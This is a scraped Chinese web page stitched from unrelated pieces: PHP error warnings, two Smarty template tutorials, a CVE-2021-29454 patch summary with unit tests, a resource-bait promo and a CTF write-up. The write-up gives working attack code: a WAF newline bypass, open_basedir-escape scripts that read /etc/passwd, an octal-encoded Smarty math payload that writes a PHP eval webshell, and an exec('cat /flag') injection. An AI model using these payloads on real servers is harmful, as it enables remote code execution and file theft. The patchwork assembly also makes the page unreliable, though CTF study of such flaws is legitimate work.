Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
道框架(framework)那么必須要提到smarty模板,在面試時你可以不會任何的框架,但是如果不會smarty模板,那么面試官會認(rèn)為你在說謊,因?yàn)閹缀跛械目蚣芏际腔诨蚪梃bsmarty。
smarty模板介紹
基于面向?qū)ο缶幊趟枷敕庋b的類,實(shí)現(xiàn)前后臺代碼分離,降低耦合度,并且為后續(xù)的分工合作開發(fā)做準(zhǔn)備。Smarty(輕量,微小)是編譯性模板框架,體積小、速度快,支持緩存、全局站點(diǎn)配置等功能,是“旅行居家”開發(fā)必備神器!
使用步驟
1、在官網(wǎng)www.smarty.net 下載最新版,解壓,復(fù)制libs文件夾到項(xiàng)目目錄;
2、在對應(yīng)的項(xiàng)目目錄下創(chuàng)建4個文件夾分別為模板文件夾(保存前臺頁面,必須,一般命名為templates)、編譯(自動整理前后臺頁面,從第二次訪問開始不需要重新重新整合,一般命名為templates_c,compile必須)、配置文件夾(應(yīng)用于整個站點(diǎn)的配置)、緩存文件夾
3、測試
新建一個后臺頁面index.php
<?php
//引入核心類庫文件
include_once('libs/Smarty.class.php');
//實(shí)例化類
$smarty=new Smarty();
//定義配置
//用戶訪問的后臺頁面所有的路徑都是應(yīng)該以訪問后臺頁面作為參照物!!!
$smarty->setTemplateDir('templates');//定義模板路徑
//定義編譯路徑
$smarty->setCompileDir('templates_c');
//定義配置文件路徑
$smarty->setConfigDir('config');
//定義緩存路徑
$smarty->setCacheDir('cache');
//修改默認(rèn)定界符避免和JS沖突!!!
$smarty->left_delimiter='<{';
$smarty->right_delimiter='}>';
$test='我是test變量';
$smarty->assign("test",$test);//建議注冊的變量名和鍵保持一致
//注冊一個索引數(shù)組
$smarty->assign("arr1",array('a','b','c'));
//注冊一個引用數(shù)組,section無法用于引用數(shù)組
$smarty->assign("arr2",array("a"=>1,"b"=>2,"c"=>3));
//開啟調(diào)測
//$smarty->debugging=true;
//自動整理前后臺頁面
$smarty->display('index.tpl');
$smarty->assign('test1','test1');//這個變量無法使用,想一想為什么?
?>
在templates文件加新建index.tpl文件
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>無標(biāo)題文檔</title>
</head>
<body>
我是網(wǎng)站根目錄下index.php的前臺index.tpl頁面<br />
輸出后臺變量test的值:<font color="red" style="font-weight:bold;"><{$test}></font>XXXX<br />
該變量無法輸出:<{$test1}><br />
遍歷輸出索引數(shù)組:
<{section name=i loop=$arr1}>
索引:<{$smarty.section.i.index}>值:<{$arr1[i]}>
<{sectionelse}>
沒有符合的記錄
<{/section}>
<br />
遍歷引用數(shù)組(用foeach,foreach也可以用于索引數(shù)組):
<{foreach from=$arr2 item=v key=k}>
鍵:<{$k}>值:<{$v}>
<{foreachelse}>
沒有符合的記錄集
<{/foreach}>
<br />
新版本寫法:
<{foreach $arr2 as $k=>$v}>
鍵:<{$k}>值:<{$v}>
<{/foreach}>
</body>
</html>
訪問后臺頁面!!!!!測試結(jié)果
變量解析
后臺注冊,語法 $smarty對象->assign(‘鍵’,mixed 值);
前臺在需要的位置顯示,語法 {$鍵}
開啟調(diào)測
$smarty->debugging=true;
編譯原理
smarty模板調(diào)用display函數(shù)自動整合前后臺頁面,是從templates文件夾下查找前臺地址自動把訪問的后臺php頁面和該前臺頁面替換成內(nèi)嵌PHP代碼,生成編譯文件,文件名XXX.前臺模板名.tpl.php,第二次訪問自動把這個頁面相應(yīng)給用戶,加快速度,只要PHP后臺代碼不改變,這個編譯頁面就不會再次生成。
天主要跟大家分享下模板引擎
目前常見的模板引擎有以下這幾種,模板引擎Smarty,Blade,Twig,Haml,Liquid,Mustache
其中最為常見的,比較主流的Smarty,Blade,這兩個分別對應(yīng)是tp以及l(fā)aravel
今天給大家講解下什么是smarty
smarty是一個用PHP寫的模板引擎,它提供了一個前后端分類計(jì)數(shù),前端開發(fā)前端,后臺開發(fā)后端的,美工開發(fā)美工的,互相不影響,可以極大的提升工作效率。
下來給大家介紹下smarty優(yōu)點(diǎn):
如果你使用過tp框架開發(fā)的話應(yīng)該對這塊比較熟悉的
1. 開發(fā)速度快:用smarty編寫的程序速度會很快,因?yàn)閭鹘y(tǒng)的php寫一個遍歷,如果沒有前后端分離,你需要寫大量的代碼,并且需要花費(fèi)很多時間,這一點(diǎn)是相對于其它的模板引擎技術(shù)而言的。
2. 代碼編譯型:因?yàn)檫@個模板引擎是PHP與HTML混合的方式,在下一次訪問模板時將WEB請求直接保存到一個指定的文件目錄中,而不再進(jìn)行模板重新編譯
3. 模板緩存技術(shù):smarty選用的一種緩存技術(shù),使用模板開發(fā)可以提供頁面的加載速度,對網(wǎng)站的性能也一種優(yōu)化,這種模板緩存只要開啟了之后,在一段時間內(nèi)容,他在渲染會去比對頁面內(nèi)用,如果頁面一直,直接調(diào)動靜態(tài)文件,我們都知道靜態(tài)文件訪問速度是最快,減少io資源消耗,如果不一樣怎么請求最新的數(shù)據(jù)再次緩存
不適合smarty的地方:
1. 對數(shù)據(jù)的實(shí)時性要求比較高的就不怎么合適,比例像在線聊天,熱點(diǎn)新聞等都不適用。因?yàn)槟0寰彺娴膬?yōu)勢在于對頁面的實(shí)時性要求不高
2. 項(xiàng)目太小的也不大適合,因?yàn)槭褂媚0逡嫘枰獙?shí)現(xiàn)分好,這個小團(tuán)隊(duì)開發(fā)的速度不會體驗(yàn)的很方便
現(xiàn)在教大家如何去使用smarty
1.https://www.smarty.net/download 登錄地址,去下載相對應(yīng)的版本
Smarty 3.x: PHP 5.2+
Smarty 2.x: PHP 4 or 5
這個有版本要求,你只要根據(jù)你的開發(fā)環(huán)境去下載對應(yīng)的版本即可
demo文件夾為示例文件夾,里面包含默認(rèn)文件夾結(jié)構(gòu),是我們要進(jìn)行編寫程序代碼的主要文件夾。demo里文件夾的名稱都是smarty默認(rèn)的目錄結(jié)構(gòu)名稱,可以通過改smarty對應(yīng)屬性值,再把文件夾名改成我們想要的名稱。
libs為smarty代碼源文件夾,一般不動。
/libs/Smarty.class.php #主文件
/libs/sysplugins/ #內(nèi)部plugin
/libs /plugins/ #外部plugin,可自由擴(kuò)充
/demo/cahce/ #放置緩存文件
/demo/configs / #放置可以載入的配置文件
/demo/templates/ #放置模板文件
/demo/templates_c/ #放置對模板編譯后的文件
可以把解壓得到的 Smarty-3.1.12 文件夾名改成我們想要的項(xiàng)目名,demo也可以改成我們想要的具體存放編碼的文件夾的名稱
2、調(diào)試Smarty-3.1.12
接下來我們?nèi)?chuàng)建自己的文件,在D盤下demo文件夾下創(chuàng)建index.php。
在templates目錄中創(chuàng)建模板index.tpl
(幾乎可以是任何文本文件的擴(kuò)展名,這個模板引擎常用的是tpl,php,html,不建議使用后兩者,因?yàn)榭梢詮臑g覽器直接訪問而不安全。可以對apache的httpd.conf進(jìn)行設(shè)置,禁止直接訪問.tpl文件。或者將templats目錄放在網(wǎng)站文檔樹之外,可以大大的提升站點(diǎn)安全性。)
*/
//接下來我們直接用代碼演示
require('../libs/Smarty.class.php'); //index.php代碼
$smarty = new Smarty; //實(shí)例化對象
$smarty->assign('name','zhang');//對變量賦值 直接將zhang賦值給變量 name
$smarty->display('templates/index.tpl'); //調(diào)用模板tpl文件里不能執(zhí)行PHP語句塊
/*
index.tpl頁面內(nèi)容
<html>
<body>
我們可以直接使用 {$name} {}里面就是對應(yīng)的變量 直接輸出模板
<span>測試一下 {$name}</span>
</body>
</html>
*/
/*
上面的代碼操作是不是很簡單,傳統(tǒng)的我們需要顯示變量需要使用
<?php echo $name?> 這么長的一串代碼
smarty處理過程
smarty是將原本php源文件,把他編譯成中間文件也是php腳本文件,如果說你開啟緩存,會根據(jù)編譯文件再次生成緩存文件(也是php)。
之后的每次訪問都會訪問編譯文件,如果啟用緩存且有緩存文件而且沒有過期,則直接訪問緩存文件,跳過編譯文件。這樣子的就可以提升你的網(wǎng)頁加載速度
編譯文件一經(jīng)生成,就不會被自動更新,除非模板文件或者配置文件更改。源php文件修改是不會引發(fā)重新編譯的。
*/
//Smarty允許有兩種特殊的編譯設(shè)置存在:
// 下面給大家介紹下關(guān)于模板緩存的開啟
$smarty->setCaching(true); //開啟緩存
$smarty->getCaching();//獲取當(dāng)前緩存狀態(tài),默認(rèn)是false關(guān)閉的
$smarty->setcache_lifetime(60);//設(shè)置緩存時間單位秒
/*
smarty分界符
在模板文件中,區(qū)分普通html代碼和smarty代碼靠的是分界符。默認(rèn)是 {} ,但可能會與js和css相沖突。可以進(jìn)行變更。
*/
$smarty->left_delimiter = "{"; //左分界符,2.0屬性,3.0沿用
$smarty->right_delimiter = "}";
/*
分界符就相當(dāng)于PHP的echo,分界符中的值都將輸出,除非賦值等操作
smarty tpl文件中分界符中兩個**之間的內(nèi)容為注釋內(nèi)容如
tpl文件:
{*這是模板注釋內(nèi)容*}
*/
//設(shè)置緩存目錄路徑,不設(shè)默認(rèn)"cache"
$smarty->setCacheDir("cache");
//獲取緩存目錄路徑
$smarty->getCacheDir();
//設(shè)置配置目錄路徑,不設(shè)默認(rèn)"configs"
$smarty->setConfigDir("configs");
//添加配置目錄路徑,所有路徑將會以數(shù)組形式保存,調(diào)用文件時將在所有路徑中查找
$smarty->addConfigDir("configs/test");
//獲取配置目錄路徑的數(shù)組
$smarty->getConfigDir();
//設(shè)置插件目錄路徑,不設(shè)默認(rèn)"plugins"
$smarty->setPluginsDir("plugins");
//添加插件目錄路徑,所有路徑將會以數(shù)組形式保存,調(diào)用文件時將在所有路徑中查找,plugins文件夾里放的就是可以在前臺或后臺按不同規(guī)則調(diào)用的函數(shù)的存儲文件,文件名及函數(shù)名的命名按不同調(diào)用規(guī)則有不同寫法要求
$smarty->addPluginsDir("plugins/test");
//獲取插件目錄路徑的數(shù)組
$smarty->getPluginsDir();
//設(shè)置模板目錄路徑,不設(shè)默認(rèn)"templates"
$smarty->setTemplateDir("templates");
//添加模板目錄路徑,所有路徑將會以數(shù)組形式保存,調(diào)用文件時將在所有路徑中查找
$smarty->addTemplateDir("templates/test");
//獲取模板目錄路徑的數(shù)組
$smarty->getTemplateDir();
//設(shè)置編譯目錄路徑,不設(shè)默認(rèn)"templates_c"
$smarty->setCompileDir("templates_c");
//獲取編譯目錄路徑
$smarty->getCompileDir();
//模版變量, 我們傳遞數(shù)組
$arr = array(array("name","111"),'a'=>array("age","222"),array("classname","333"));
$smarty->assign("testArr", $arr);
//設(shè)置模版變量,為將要調(diào)用的模版提供變量,在接下來調(diào)用的模版中可以通過{$testArr}或者{$testArr['a'][0]}或者{$testArr.a.0}來訪問具體某數(shù)組元素
//在模版中可以直接通過 {$testArr = "testValue" scope="global"} 來更改傳過來的模板變量的值(如果不存在則在模板中創(chuàng)建并設(shè)置該模版變量),scope屬性是標(biāo)注模板變量使用范圍的可不寫
//在模版中更改或創(chuàng)建成其他數(shù)組 {$testArr = [1,2,3]}也可以{$testArr = [1,'a'=>2,2=>3]}也可以{$testArr[] = 4}或其他類似PHP中創(chuàng)建數(shù)組方式
//php源文件可通過 $smarty->getTemplateVars("testArr") 獲取指定模版變量,如要獲取模板中改變或創(chuàng)建的模版變量,在模板中創(chuàng)建或更改其值時必須加上scope屬性并把值設(shè)置為scope="global"或scope="parent"
class SDemo{
function demo($nam){
echo $nam;
}
}
$smarty->assign("obj", new A); //把對象直接賦值給變量
//Smarty可以識別嵌入在雙引號中的模版變量,只要此變量只包含數(shù)字、字母、下劃線。但貌似只支持能直接轉(zhuǎn)換成字符串的模版變量
$smarty->assign("testStr", "this is smart");
//模板中可通過{"$testStr OK !"}來訪問
/*
tpl模板包含模板 使用也很簡單
模板文件:
{include file="headerinfo.tpl"} //這樣子就是直接調(diào)用頭部文件
headerinfo.tpl內(nèi)容:
<span>這是頂部內(nèi)容!!,歡迎你,{$name}</span>
模板包含模板也可以是這樣格式
{include file="headerinfo.tpl" testVar="這是頂部內(nèi)容!!!"}
headerinfo.tpl則可以通過{$testVar}使用調(diào)用頁包含時傳來的模板變量
<span>{$testVar},歡迎你,{$name}</span><hr />
*/
/*
我們都知道 我們在寫頁面的時候可能涉及到很多邏輯
這個模板引擎也有提供了相應(yīng)的功能
我們直接使用if判斷
{if $name == "張三"}
你好 張三.
{elseif $name == "李四"}
你好 李四.
{else}
你好, 未知
{/if}
{*操作符可以是 ==,>= 等也可以是 eq,ne等*}
{for $x=0; $x<count($demoArr); $x++}
{$x}
{/for}
{*for循環(huán),類似PHP代碼*}
{$x=0}
{while $x<count($demoArr)}
{$x++}
{/while}
{*While循環(huán),也類似PHP代碼。*}
{*也可以如下兩種類PHP格式*}
{foreach $demoArr as $n}
{$n}
{/foreach}
{foreach $demoArr as $key=>$n}
{$key}
{/foreach}
*/
//PHP文件:
//$smarty->setDebugging(true);//對后續(xù)調(diào)用的模板進(jìn)行調(diào)試。
//$smarty->getDebugging();//得到當(dāng)前是否進(jìn)行調(diào)試,默認(rèn)false
//或在需要調(diào)試的模版中寫入{debug}
/*
模板文件:
smarty3.0支持了模版繼承系統(tǒng),例如
nav.tpl:
<html>
<body>
{block name='top'} nav.header<br />{/block}
{block name='middle'} nav.middle<br />{/block}
{block name='buttom'} nav.buttom<br />{/block}
</body>
</html>
以上就是一些關(guān)于samrt一些基礎(chǔ)操作
大家要是覺得有學(xué)習(xí)到的話可以收藏關(guān)注哦
Smarty 是 PHP 的模板引擎,有助于將表示 (HTML/CSS) 與應(yīng)用程序邏輯分離。在 3.1.42 和 4.0.2 版本之前,模板作者可以通過制作惡意數(shù)學(xué)字符串來運(yùn)行任意 PHP 代碼。如果數(shù)學(xué)字符串作為用戶提供的數(shù)據(jù)傳遞給數(shù)學(xué)函數(shù),則外部用戶可以通過制作惡意數(shù)學(xué)字符串來運(yùn)行任意 PHP 代碼。用戶應(yīng)升級到版本 3.1.42 或 4.0.2 以接收補(bǔ)丁。
對比官方修復(fù)的代碼,在/plugins/function.math.php添加了如下一段
// Remove whitespaces
$equation = preg_replace('/\s+/', '', $equation);
// Adapted from https://www.php.net/manual/en/function.eval.php#107377
$number = '(?:\d+(?:[,.]\d+)?|pi|π)'; // What is a number
$functionsOrVars = '((?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*))';
$operators = '[+\/*\^%-]'; // Allowed math operators
$regexp = '/^(('.$number.'|'.$functionsOrVars.'|('.$functionsOrVars.'\s*\((?1)+\)|\((?1)+\)))(?:'.$operators.'(?2))?)+$/';
if (!preg_match($regexp, $equation)) {
trigger_error("math: illegal characters", E_USER_WARNING);
return;
}
對惡意拼接的數(shù)學(xué)字符串進(jìn)行過濾(漏洞利用POC格式其實(shí)也在這里寫出來了,參考$regexp)
而在較低版本下,缺少過濾部分,進(jìn)而導(dǎo)致RCE
具體的POC我會在下面利用部分詳寫的
并且,在tests/UnitTests/TemplateSource/ValueTests/Math/MathTest.php中,也有添加
/**
* @expectedException PHPUnit_Framework_Error_Warning
*/
public function testBackticksIllegal()
{
$expected = "22.00";
$tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="`ls` x * y" x=$x y=$y}');
$this->assertEquals($expected, $this->smarty->fetch($tpl));
}
/**
* @expectedException PHPUnit_Framework_Error_Warning
*/
public function testDollarSignsIllegal()
{
$expected = "22.00";
$tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="$" x=$x y=$y}');
$this->assertEquals($expected, $this->smarty->fetch($tpl));
}
/**
* @expectedException PHPUnit_Framework_Error_Warning
*/
public function testBracketsIllegal()
{
$expected = "I";
$tpl = $this->smarty->createTemplate('eval:{$x = "0"}{$y = "1"}{math equation="((y/x).(x))[x]" x=$x y=$y}');
$this->assertEquals($expected, $this->smarty->fetch($tpl));
}
【→所有資源關(guān)注我,私信回復(fù)“資料”獲取←】
1、網(wǎng)絡(luò)安全學(xué)習(xí)路線
2、電子書籍(白帽子)
3、安全大廠內(nèi)部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經(jīng)典題目解析
7、全套工具包
8、應(yīng)急響應(yīng)筆記
考點(diǎn)
過程詳解
看到Smarty,聯(lián)系題目描述就明白這是Smarty模板注入,但是出題人修改了模板規(guī)則(真滴茍啊)。
一般情況下輸入{$smarty.version},就可以看到返回的Smarty當(dāng)前版本號,此題版本是3.1.39。
掃一下網(wǎng)站,發(fā)現(xiàn)存在源碼泄露,訪問www.zip即可下載,打開分析。
index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Smarty calculator</title>
</head>
<body background="img/1.jpg">
<div align="center">
<h1>Smarty calculator</h1>
</div>
<div style="width:100%;text-align:center">
<form action="" method="POST">
<input type="text" style="width:150px;height:30px" name="data" placeholder=" 輸入值進(jìn)行計(jì)算" value="">
<br>
<input type="submit" value="Submit">
</form>
</div>
</body>
</html>
<?php
error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
function waf($data){
$pattern = "php|\<|flag|\?";
$vpattern = explode("|", $pattern);
foreach ($vpattern as $value) {
if (preg_match("/$value/", $data)) {
echo("<div style='width:100%;text-align:center'><h5>Calculator don not like U<h5><br>");
die();
}
}
return $data;
}
if(isset($_POST['data'])){
if(isset($_COOKIE['login'])) {
$data = waf($_POST['data']);
echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";
$smarty->display("string:" . $data);
}else{
echo "<script>alert(\"你還沒有登錄\")</script>";
}
}
在index.php中定義了waf函數(shù),會檢測$data中是否含有php < flag字樣,這個還是蠻好繞的。
還會檢測cookie中login是否存在且值不為零,只要在cookie上添加就好。
剩下的太多了。。。所以我篩選了一下,發(fā)現(xiàn)出題人應(yīng)該只修改過3個文件。
用Beyond Compare對比一下官方模板,發(fā)現(xiàn)了出題人重點(diǎn)修改的地方就是正則匹配。
在CVE-2021-29454,有關(guān)Smarty的安全問題上,也有提到
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {
$compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);
}
那么接下來,請欣賞各種優(yōu)雅的過正則姿勢
在正則處打下斷點(diǎn)進(jìn)行測試,
發(fā)現(xiàn)可以通過換行繞過正則
設(shè)置完cookie后,url編碼一下,POST傳參,poc執(zhí)行成功
但是不能直接cat /flag,有disable_functions以及open_basedir,繞過open_basedir的方法可太多了,我之前寫了一篇文章你的open_basedir安全嗎? - 先知社區(qū) (aliyun.com)
symlink(string $target, string $link): bool
原理是創(chuàng)建一個鏈接文件 aaa 用相對路徑指向 A/B/C/D,再創(chuàng)建一個鏈接文件 abc 指向 aaa/../../../../etc/passwd,其實(shí)就是指向了 A/B/C/D/../../../../etc/passwd,也就是/etc/passwd。這時候刪除 aaa 文件再創(chuàng)建 aaa 目錄但是 abc 還是指向了 aaa 也就是 A/B/C/D/../../../../etc/passwd,就進(jìn)入了路徑/etc/passwd payload 構(gòu)造的注意點(diǎn)就是:要讀的文件需要往前跨多少路徑,就得創(chuàng)建多少層的子目錄,然后輸入多少個../來設(shè)置目標(biāo)文件。
<?php
highlight_file(__FILE__);
mkdir("A");//創(chuàng)建目錄
chdir("A");//切換目錄
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","aaa");
symlink("aaa/../../../../etc/passwd","abc");
unlink("aaa");
mkdir("aaa");
?>
ini_set()用來設(shè)置php.ini的值,在函數(shù)執(zhí)行的時候生效,腳本結(jié)束后,設(shè)置失效。無需打開php.ini文件,就能修改配置。函數(shù)用法如下:
ini_set ( string $varname , string $newvalue ) : string
<?php
highlight_file(__FILE__);
mkdir('Andy'); //創(chuàng)建目錄
chdir('Andy'); //切換目錄
ini_set('open_basedir','..'); //把open_basedir切換到上層目錄
chdir('..'); //切換到根目錄
chdir('..');
chdir('..');
ini_set('open_basedir','/'); //設(shè)置open_basedir為根目錄
echo file_get_contents('/etc/passwd'); //讀取/etc/passwd
其實(shí)這個正則并不難,我們可以直接利用八進(jìn)制數(shù),然后借用Smarty的math equation,直接寫入一句話shell,Antsword連接就好。
payload:
eval:{$x="42"}{math equation="(\"\146\151\154\145\137\160\165\164\137\143\157\156\164\145\156\164\163\")(\"\141\56\160\150\160\",\"\74\77\160\150\160\40\145\166\141\154\50\44\137\122\105\121\125\105\123\124\133\47\120\141\143\153\47\135\51\73\77\76\")"}
然后蟻劍連接,在根目錄下得到flag
既然我們能利用函數(shù)名了,那么我們也可以用一些數(shù)學(xué)函數(shù)執(zhí)行命令,我當(dāng)時用就是這一種(其實(shí)是另外兩種沒想到,嘿嘿嘿)
<?php
highlight_file(__FILE__);
//error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
//$smarty->display("string:" . '{math equation="p;(\'exp\'[0].\'exp\'[1].\'exp\'[0].\'cos\'[0])(\'cos\'[0].\'abs\'[0].\'tan\'[0].\'floor\'[0].\'floor\'[1].\'abs\'[0].\'log\'[2]);" p=1 }');
$smarty->display("string:" . '{math equation="p;(\'exp\'[0].\'exp\'[1].\'exp\'[0].\'cos\'[0])(\'cos\'[0].\'abs\'[0].\'tan\'[0].\' ./\'.\'floor\'[0].\'floor\'[1].\'abs\'[0].\'log\'[2].\'>1\');" p="1" }');
//exec('cat /flag')>1
?>
將執(zhí)行結(jié)果寫入1文件,同樣,因?yàn)橛?/span>disable_functions以及open_basedir,所以執(zhí)行會不成功嗎,重復(fù)姿勢一,就能繞過。
*請認(rèn)真填寫需求信息,我們會在24小時內(nèi)與您取得聯(lián)系。